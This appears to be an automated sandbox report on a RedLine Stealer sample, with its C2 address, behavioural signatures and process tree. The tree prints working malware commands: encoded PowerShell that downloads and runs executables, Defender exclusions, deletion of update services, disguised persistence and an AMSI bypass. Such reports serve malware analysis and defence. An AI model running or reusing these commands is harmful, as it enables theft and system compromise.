Analysis

  • max time kernel
    27s
  • max time network
    77s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2023, 12:52

General

  • Target
    3b6724f0782fb7defaad3f17b96a80cae307d230.exe
  • Size 361KB
  • Sample230127-p34f6aag37
  • SHA256 47db42f2fea21e2ed1d3957a40e3c3617083483d27c2ec540492a1d6623884f5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2864
      • C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe
        "C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
            PID:2012
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3776
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
              4⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:348
              • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                5⤵
                • Executes dropped EXE
                PID:3668
              • C:\Users\Admin\AppData\Local\Temp\new2.exe
                "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2476
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4252
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2476 -s 292
                  6⤵
                  • Program crash
                  PID:2664
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:5032
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3624
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2532 -s 292
            3⤵
            • Program crash
            PID:1404
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3120
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1144
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:4888
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:2012
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:3392
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:2844
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:1592
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            3⤵
              PID:2300
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              3⤵
                PID:3844
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                3⤵
                  PID:1988
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                  3⤵
                    PID:692
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    3⤵
                      PID:4484
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5092
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:4352
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2532 -ip 2532
                    1⤵
                      PID:3152
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2476 -ip 2476
                      1⤵
                        PID:2720
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:AkCCqxPoATAa{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PRGJqNZaDLsIim,[Parameter(Position=1)][Type]$khnVAcvkNH)$edfgaQWTUNK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+''+[Char](108)+'ec'+'t'+''+[Char](101)+'dD'+[Char](101)+''+[Char](108)+''+'e'+''+'g'+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+'y'+'M'+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e'+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+','+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](83)+'e'+'a'+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+'C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$edfgaQWTUNK.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+'m'+'e'+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PRGJqNZaDLsIim).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');$edfgaQWTUNK.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'','P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+'B'+'y'+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$khnVAcvkNH,$PRGJqNZaDLsIim).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+',M'+'a'+''+'n'+'a'+'g'+''+'e'+'d');Write-Output $edfgaQWTUNK.CreateType();}$OXpwbVRVPGTua=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType('Mic'+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+'n'+'3'+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+'O'+''+[Char](88)+''+[Char](112)+'w'+'b'+''+[Char](86)+''+[Char](82)+''+[Char](86)+'P'+'G'+''+[Char](84)+''+[Char](117)+''+[Char](97)+'');$aKxrXxTuvCHvzK=$OXpwbVRVPGTua.GetMethod(''+[Char](97)+''+[Char](75)+'xrX'+[Char](120)+''+[Char](84)+''+[Char](117)+''+[Char](118)+''+[Char](67)+'H'+[Char](118)+''+[Char](122)+''+[Char](75)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+','+'S'+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MshTmwrQdGTcKHuTIOv=AkCCqxPoATAa @([String])([IntPtr]);$TtcJkKblcsaUZxXLIgYTfH=AkCCqxPoATAa @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vDmkqlexzxE=$OXpwbVRVPGTua.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+''+'o'+'d'+[Char](117)+''+'l'+''+'e'+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+'3'+''+'2'+''+'.'+'dl'+'l'+'')));$qshhEyneiCqvlJ=$aKxrXxTuvCHvzK.Invoke($Null,@([Object]$vDmkqlexzxE,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+'L'+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+'r'+'y'+''+'A'+'')));$JVghxkUiSbyNQvymZ=$aKxrXxTuvCHvzK.Invoke($Null,@([Object]$vDmkqlexzxE,[Object](''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'te'+[Char](99)+''+[Char](116)+'')));$JOlyyww=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qshhEyneiCqvlJ,$MshTmwrQdGTcKHuTIOv).Invoke('a'+[Char](109)+''+'s'+'i'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$sThRwiqGKiNrfcvTX=$aKxrXxTuvCHvzK.Invoke($Null,@([Object]$JOlyyww,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'anB'+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$BYauJfjjfC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JVghxkUiSbyNQvymZ,$TtcJkKblcsaUZxXLIgYTfH).Invoke($sThRwiqGKiNrfcvTX,[uint32]8,4,[ref]$BYauJfjjfC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$sThRwiqGKiNrfcvTX,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JVghxkUiSbyNQvymZ,$TtcJkKblcsaUZxXLIgYTfH).Invoke($sThRwiqGKiNrfcvTX,[uint32]8,0x20,[ref]$BYauJfjjfC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                          PID:2268
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ioWElrWJPefd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MRdWaVzDHOFNNk,[Parameter(Position=1)][Type]$GibVJpUtzP)$ZmxvoqGIocw=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+'c'+'t'+''+'e'+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+'y'+''+'M'+''+[Char](111)+'du'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'ele'+[Char](103)+''+'a'+''+'t'+'eT'+[Char](121)+''+[Char](112)+''+'e'+'','Cl'+[Char](97)+'s'+'s'+''+[Char](44)+'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+',S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+'A'+''+[Char](110)+''+[Char](115)+'i'+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+''+'C'+'l'+[Char](97)+'ss',[MulticastDelegate]);$ZmxvoqGIocw.DefineConstructor(''+'R'+'T'+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+'N'+'a'+'m'+'e'+','+''+'H'+'i'+'d'+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$MRdWaVzDHOFNNk).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+',M'+'a'+''+[Char](110)+'a'+[Char](103)+'e'+[Char](100)+'');$ZmxvoqGIocw.DefineMethod('In'+[Char](118)+''+[Char](111)+'k'+[Char](101)+'','P'+[Char](117)+'bl'+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+'g,N'+[Char](101)+''+'w'+''+[Char](83)+'l'+'o'+'t'+','+''+[Char](86)+'i'+[Char](114)+''+'t'+''+'u'+''+[Char](97)+'l',$GibVJpUtzP,$MRdWaVzDHOFNNk).SetImplementationFlags('Run'+'t'+''+[Char](105)+'me'+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $ZmxvoqGIocw.CreateType();}$JHBtoTngouwRC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')}).GetType('M'+[Char](105)+'c'+'r'+''+[Char](111)+'s'+'o'+''+[Char](102)+'t.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+[Char](110)+'s'+'a'+''+[Char](102)+'e'+'J'+'H'+[Char](66)+''+'t'+'o'+[Char](84)+''+[Char](110)+''+'g'+''+[Char](111)+''+[Char](117)+''+'w'+'R'+[Char](67)+'');$kNEAHdPCVipbss=$JHBtoTngouwRC.GetMethod(''+'k'+''+[Char](78)+''+'E'+''+'A'+''+'H'+''+[Char](100)+''+[Char](80)+''+[Char](67)+''+[Char](86)+''+[Char](105)+''+[Char](112)+''+[Char](98)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+'li'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bLkJfJabsQuCyFQmrIL=ioWElrWJPefd @([String])([IntPtr]);$EwRUBAvcXBAMCuYLWGZRyZ=ioWElrWJPefd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NwkbGCfzNSq=$JHBtoTngouwRC.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+'o'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'r'+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$qGvDjPBLLlqumY=$kNEAHdPCVipbss.Invoke($Null,@([Object]$NwkbGCfzNSq,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+'L'+'i'+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$AOmJbDBFCiGefKkMZ=$kNEAHdPCVipbss.Invoke($Null,@([Object]$NwkbGCfzNSq,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+'al'+'P'+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+'t')));$dctlYJn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qGvDjPBLLlqumY,$bLkJfJabsQuCyFQmrIL).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$oqSuGSnvRUYQPymZF=$kNEAHdPCVipbss.Invoke($Null,@([Object]$dctlYJn,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+''+[Char](83)+''+'c'+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'er')));$LMDkTeEwWb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AOmJbDBFCiGefKkMZ,$EwRUBAvcXBAMCuYLWGZRyZ).Invoke($oqSuGSnvRUYQPymZF,[uint32]8,4,[ref]$LMDkTeEwWb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$oqSuGSnvRUYQPymZF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AOmJbDBFCiGefKkMZ,$EwRUBAvcXBAMCuYLWGZRyZ).Invoke($oqSuGSnvRUYQPymZF,[uint32]8,0x20,[ref]$LMDkTeEwWb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+'A'+'R'+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
                          1⤵
                            PID:4328
                          • C:\Windows\System32\dllhost.exe
                            C:\Windows\System32\dllhost.exe /Processid:{90e79f38-694b-4355-acf9-e06814019de1}
                            1⤵
                              PID:2452

                            Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

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                                  Downloads

                                  powershell.exe.log

